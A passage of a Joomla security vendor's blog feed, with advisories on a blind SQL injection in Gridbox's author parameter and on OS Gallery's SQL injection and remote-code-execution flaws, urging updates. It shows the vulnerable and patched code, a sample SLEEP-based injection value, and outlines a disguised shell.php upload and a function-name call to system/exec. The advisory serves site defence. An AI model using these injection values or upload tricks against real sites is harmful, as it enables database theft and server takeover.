&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/media-press/jawards-community-choice-awards.html&quot;&gt;J!Awards: Community Choice Awards&lt;/a&gt; - the Joomla press release that launched the awards.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://conference.joomla.org/&quot;&gt;Joomla World Conference 2026&lt;/a&gt; - where the winners are announced, 16 to 18 October in Potsdam.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Nineteen Joomla extension vulnerabilities in a month&lt;/a&gt; - the largest single run of this year&apos;s security research.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>jawards</category><category>joomla community</category><category>awards</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/joomla-jawards-2026-vote-mysites-guru.png" length="0" type="image/png"/></item><item><title>Blind SQL Injection in Gridbox&apos;s Blog Author</title><link>https://mysites.guru/blog/gridbox-author-sql-injection/</link><guid isPermaLink="true">https://mysites.guru/blog/gridbox-author-sql-injection/</guid><description>Gridbox 2.20.3.1 fixes an unauthenticated blind SQL injection in the blog author parameter that can read a Joomla site&apos;s whole database. Update now.</description><pubDate>Mon, 21 Sep 2026 09:21:19 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-3-1-bug-fixes-and-security-hardening&quot;&gt;Balbooa shipped Gridbox 2.20.3.1&lt;/a&gt; on 21 September 2026. It fixes a time-based blind SQL injection in the blog &lt;code&gt;author&lt;/code&gt; parameter, which lives on the public front end of any Gridbox blog and needs no login. An attacker can read your database one answer at a time, which is slow but reaches everything in it.&lt;/p&gt;
&lt;p&gt;Every version below 2.20.3.1 is affected, which is nearly every Gridbox site in the mySites.guru database. There is no CVE and no CVSS score yet, and the vendor filed it as “security hardening”. Update to 2.20.3.1 now. If you are still below 2.20.2, you have a bigger problem than this one, covered in our two earlier Gridbox posts.&lt;/p&gt;
&lt;h2&gt;Update, 8 October 2026: Gridbox 2.20.4.0 is now the version to install&lt;/h2&gt;
&lt;p&gt;Balbooa released Gridbox 2.20.4.0 with two more security fixes: a Cross-Site Request Forgery flaw in the language installation process and a tighter path check in the image preview, reported by Sergiy Tryzhychynskyi. Both affect 2.20.3.1, so the advice below to update to 2.20.3.1 is now out of date. Update straight to 2.20.4.0. The details are in &lt;a href=&quot;https://mysites.guru/blog/gridbox-2-20-4-0-security-fixes/&quot;&gt;Gridbox 2.20.4.0 Fixes a Language Install CSRF and an Image Path Check&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What the flaw is&lt;/h2&gt;
&lt;p&gt;Gridbox blogs let a visitor filter posts by author, with a URL like &lt;code&gt;index.php?option=com_gridbox&amp;amp;view=blog&amp;amp;author=5&lt;/code&gt;. That &lt;code&gt;author&lt;/code&gt; value went straight into a database query without being turned into a number or quoted first. When user input reaches a query as raw text, an attacker can stop describing an author and start writing SQL, and the database runs it.&lt;/p&gt;
&lt;p&gt;The fix, visible by comparing the 2.20.3.1 release against 2.20.3, is a single change in the component’s router. The parameter is now cast to an integer before it reaches the query:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Before (vulnerable): the author value is concatenated in as-is&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;where&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;`id` = &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;$query[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;author&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// After (2.20.3.1): cast to an integer first, so only a number survives&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;where&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;`id` = &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;) $query[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;author&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same casting was added to the neighbouring &lt;code&gt;tag&lt;/code&gt;, &lt;code&gt;app&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; parameters in the router. Casting to an integer is the correct, complete fix for a numeric identifier: after it, &lt;code&gt;author=5 AND SLEEP(10)&lt;/code&gt; becomes the number &lt;code&gt;5&lt;/code&gt; and nothing else.&lt;/p&gt;
&lt;h2&gt;Why a blind injection still reads everything&lt;/h2&gt;
&lt;p&gt;This is a blind injection, so it does not print database rows back on the page. It is time-based, which is the patient variant. The attacker phrases each question so a true answer makes the database pause and a false answer does not, then reads the answer from the response time. “Is the first character of the admin password hash an &lt;code&gt;a&lt;/code&gt;?” Wait and see. Then the second character, and the next account, and the next table.&lt;/p&gt;
&lt;p&gt;It is slower than an injection that dumps rows in one response, but it is not weaker. Given time, a time-based blind injection reads usernames, email addresses, password hashes, session tokens and site configuration, and it does all of it without a single valid login.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor could extract your whole database: usernames, emails, password hashes, session IDs, shopping orders, invoices, and everything else it holds. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Is my Gridbox site affected?&lt;/h2&gt;
&lt;p&gt;If any Joomla site you run has Gridbox below 2.20.3.1, yes. The current 2.20.3 build and the 2.20.2.3 build before it are both affected, and so is every older release. The fix is 2.20.3.1 and nothing lower.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Below 2.20.2 is a different, worse conversation&lt;/p&gt;&lt;div&gt;&lt;p&gt;Sites still running a Gridbox below 2.20.2 are exposed to the July 2026 set of flaws, several of which were being exploited in the wild, including a pre-auth remote code execution and an authentication bypass that handed out Super User access. Updating to 2.20.3.1 fixes all of it at once, but treat those sites as urgent and read the &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;23-vulnerability write-up&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;authentication bypass post&lt;/a&gt; for what to check.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update Gridbox to 2.20.3.1&lt;/strong&gt; on every Joomla site that runs it, through Joomla’s Update tab or the mySites.guru mass updater.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version afterwards.&lt;/strong&gt; Open System, Manage, Extensions on the site and check Gridbox reads 2.20.3.1, so a half-applied update does not leave you exposed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your administrator accounts and users.&lt;/strong&gt; A flaw that can read password hashes and session tokens is a route to account takeover, so look for accounts you did not create and sessions you do not recognise.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you cannot update immediately,&lt;/strong&gt; unpublish any front-end Gridbox blog view that exposes the author filter until you can, which removes the reachable path.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find administrator accounts you never created&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How do I find every Gridbox site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension flaw is which of your sites actually run the thing. Past a handful of sites, logging into each Joomla admin to read the extensions list is not realistic, and that is exactly how old versions survive.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every connected Joomla and WordPress site. Search for Gridbox once and get back every site running it, the version each is on and whether an update is waiting. Across the Joomla sites we manage, several hundred run Gridbox, which is a lot of sites to reach one at a time.&lt;/p&gt;
&lt;p&gt;We have added the affected range, every version below 2.20.3.1, to our vulnerability database, so every connected site still on a vulnerable Gridbox is flagged automatically, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; pushes 2.20.3.1 to all of them from one screen. Finding and fixing the whole set is part of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt;, not a separate purchase.&lt;/p&gt;
&lt;h2&gt;The third Gridbox security story in two months&lt;/h2&gt;
&lt;p&gt;This is the third security release for Gridbox since July. The authentication bypass came first, fixed in 2.20.1. Then Balbooa asked us to audit the extension and we reported twenty-three vulnerabilities, fixed in 2.20.2, several of which were already being exploited. Now an outside researcher, Studio Przy Lesie, has brought this SQL injection to Balbooa, with Cert.pl identifying it, fixed in 2.20.3.1.&lt;/p&gt;
&lt;p&gt;Read that sequence the right way. An extension getting fixes is a sign of attention, not neglect, and the same Media Manager code has been hardened across Balbooa’s Forms and Gallery products in the same window. The lesson for a site owner is not “drop Gridbox”, it is that a popular page builder is a large attack surface, and staying current on it is not optional. The sites that get hurt are always the ones a version or two behind when the next one arrives.&lt;/p&gt;
&lt;h2&gt;No CVE, no CVSS, no advisory with a range&lt;/h2&gt;
&lt;p&gt;We did not find this flaw, so this is not our timeline to narrate. What we can say is what the disclosure does and does not tell a site owner. Balbooa’s note names the vulnerability type and thanks the reporters, which is more than the July authentication bypass changelog managed. It still ships with no CVE, no CVSS score and no statement of which versions are affected or whether the flaw is reachable without a login. A site owner reading it cannot tell how urgent it is or which of their sites are in scope.&lt;/p&gt;
&lt;p&gt;That gap is why our own severity call and our own version range matter here. We confirmed the vulnerable parameter and the fix, and set the affected range ourselves so the sites we manage are flagged correctly today rather than whenever a CVE catches up. Cert.pl is a CNA, so a record may follow; if it does, we will map it.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;Extension flaws are not rare events you can respond to one at a time. There has been one for Gridbox roughly every three weeks since July, and that is one extension among the dozens on a typical Joomla site. mySites.guru watches the whole set, flags a site the moment a version it runs becomes known-vulnerable, and lets you update everything from one place.&lt;/p&gt;
&lt;p&gt;If a site has already been hit, or you would rather someone else make sure, &lt;a href=&quot;https://fix.mysites.guru/now&quot;&gt;fix.mySites.guru&lt;/a&gt; patches the site, audits it for backdoors and hands it back secure for a single fixed fee, usually the same day. Non-subscribers get a free month with it.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;There is no CVE and no published CVSS score for this flaw as of 21 September 2026. Our own assessment is High: the injection is unauthenticated, reachable on the public front end of any Gridbox blog, and can read the entire database, which is limited only by an attacker’s patience rather than by any access control. We are treating it with the same urgency as an equivalent scored flaw because “no number yet” is not the same as “not serious”.&lt;/p&gt;
&lt;p&gt;Credit for the finding goes to Studio Przy Lesie for reporting it and Cert.pl for identifying it, per Balbooa’s release note. The fix is Gridbox 2.20.3.1.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; Gridbox 2.20.1 fixes an unauthenticated authentication bypass CVE-2026-61425. One cookie made any visitor a Super User.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; Gridbox 2.20.2 fixes 23 vulnerabilities from a mySites.guru audit Eleven CVEs, several already being exploited.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-21&lt;/strong&gt; Gridbox 2.20.3.1 fixes the blog author SQL injection Reported by Studio Przy Lesie, identified by Cert.pl. No CVE, no CVSS, no advisory range published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-21&lt;/strong&gt; mySites.guru flags every affected site and alerts customers The affected range is in our vulnerability database, so connected sites below 2.20.3.1 are flagged automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-3-1-bug-fixes-and-security-hardening&quot;&gt;Balbooa: Gridbox 2.20.3.1 Bug Fixes and Security Hardening&lt;/a&gt; - the vendor&apos;s own release note.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox for Joomla: One Cookie and You Are a Super User&lt;/a&gt; - the July authentication bypass, CVE-2026-61425.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;Another 23 Critical Security Vulnerabilities in Gridbox for Joomla&lt;/a&gt; - the audit that found eleven CVEs&apos; worth of flaws.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla extension vulnerabilities&lt;/a&gt; - the wider run of findings this is part of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Front-end AJAX endpoints are a CMS security blind spot&lt;/a&gt; - why an anonymous request can reach a database query.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; - the underlying weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147: Vulnerability disclosure&lt;/a&gt; and the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; - what a full advisory should have contained.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>gridbox</category><category>balbooa</category><category>vulnerability</category><category>responsible disclosure</category><category>sql injection</category><enclosure url="https://mysites.guru/img/og/blog/gridbox-author-sql-injection.png" length="0" type="image/png"/></item><item><title>OS Gallery 6.2.7 Fixes an Unauthenticated SQL Injection and Two Authenticated RCEs</title><link>https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/</guid><description>OrdaSoft&apos;s OS Gallery below 6.2.7 has an SQL injection needing no login, two routes to remote code execution, and a second SQL injection. Update now.</description><pubDate>Sun, 20 Sep 2026 18:48:44 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ordasoft.com/joomla-gallery&quot;&gt;OrdaSoft’s OS Gallery&lt;/a&gt;, a gallery extension for Joomla, has four new vulnerabilities published today by the Joomla CNA, and between them they cover the two attacker starting points that matter most in any CMS extension: an unauthenticated route straight into the database, and two separate routes from an ordinary gallery-manager account to running code on the server. If you manage a Joomla site with OS Gallery installed on any version up to 6.2.6, it needs updating regardless of who logs in or how the gallery is used.&lt;/p&gt;
&lt;p&gt;The four split into two groups: one needs no login at all, and three need an account holding a specific permission on the gallery component. Which group a flaw falls into changes how urgently it matters to you.&lt;/p&gt;
&lt;h2&gt;How mySites.guru flags this automatically&lt;/h2&gt;
&lt;p&gt;You do not need to read the rest of this post to find out whether you are affected. mySites.guru’s extension inventory tracks OS Gallery’s installed version on every connected Joomla site, and any site on 6.2.6 or below, Light edition included, is already flagged on its own site card, no searching required. If you manage sites outside mySites.guru too, the breakdown below tells you what to check for.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_Z2bN3RG.webp&quot; srcset=&quot;https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_Z2pFACe.webp 640w, https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_Z1Vjr98.webp 750w, https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_eNpRo.webp 828w, https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_Z1VbbSt.webp 1080w, https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_1yANfa.webp 1280w, https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_Z2EyFm.webp 1668w, https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_Z1cYifU.webp 2048w, https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_aDn0y.webp 2560w, https://mysites.guru/_astro/os-gallery-important-tab-alert.C4eCUjsm_Z2bN3RG.webp 3168w&quot; alt=&quot;A mySites.guru site card&apos;s Important tab showing a Critical alert for OS Gallery (com_osgallery) below 6.2.7, naming the installed version (6.2.5 Light) and the update needed&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3168px) 3168px, 100vw&quot; width=&quot;3168&quot; height=&quot;1090&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Two ways from a gallery-manager account to running code on the server&lt;/h2&gt;
&lt;p&gt;The highest CVSS score of the four is a tie: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88857/&quot;&gt;CVE-2026-88857&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88856/&quot;&gt;CVE-2026-88856&lt;/a&gt; both score 9.4 Critical, and both need an account holding core.manage on the OS Gallery component, the permission Joomla grants to a gallery manager rather than a site administrator.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88857/&quot;&gt;CVE-2026-88857&lt;/a&gt; is a file upload flaw in &lt;code&gt;saveWatermark()&lt;/code&gt;. The function copies an uploaded file into a web-accessible directory using the filename exactly as the client sent it, with no check on the file’s extension and no check on its actual content, only the Content-Type header the client claims. A gallery manager, or an attacker who has taken over one, can name the upload &lt;code&gt;shell.php&lt;/code&gt;, set the Content-Type to &lt;code&gt;image/jpeg&lt;/code&gt;, and the server stores it under its real name and later runs it when requested directly.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.4&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88857/&quot;&gt;CVE-2026-88857&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88856/&quot;&gt;CVE-2026-88856&lt;/a&gt; does not even need a file upload. The &lt;code&gt;updateOSGallery()&lt;/code&gt; function, reached through &lt;code&gt;task=update_osgallery&lt;/code&gt;, reads a JSON request body and takes the value of a &lt;code&gt;method&lt;/code&gt; field, then calls it as a live PHP function using a &lt;code&gt;package&lt;/code&gt; field from the same request as its argument. There is no allow-list of permitted function names, so anything callable with one argument is reachable, including &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;shell_exec&lt;/code&gt; and &lt;code&gt;passthru&lt;/code&gt;.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.4&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88856/&quot;&gt;CVE-2026-88856&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Either one gives an attacker who already holds gallery-manager access the same shell your hosting provider has.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor&apos;s own code runs on your server, with the same access as the website itself: reading, changing or deleting any file it can touch, planting a backdoor that survives the next update, installing malware, pulling every database credential and API key from your configuration, and using your server to attack other people. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The search box needs no login at all&lt;/h2&gt;
&lt;p&gt;One step down by CVSS, and the only one of the four that needs no account whatsoever, is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88854/&quot;&gt;CVE-2026-88854&lt;/a&gt;. OS Gallery’s front-end search, delivered through the &lt;code&gt;mod_osgallery_search&lt;/code&gt; module that ships with the extension, reads the &lt;code&gt;textsearch&lt;/code&gt; and &lt;code&gt;searchText&lt;/code&gt; request parameters with Joomla’s &lt;code&gt;getVar()&lt;/code&gt;, which despite the name is not one of Joomla’s real input filters and does not touch quotes or SQL syntax, only HTML tags. The value goes straight into a &lt;code&gt;LIKE&lt;/code&gt; clause with no escaping.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88854/&quot;&gt;CVE-2026-88854&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
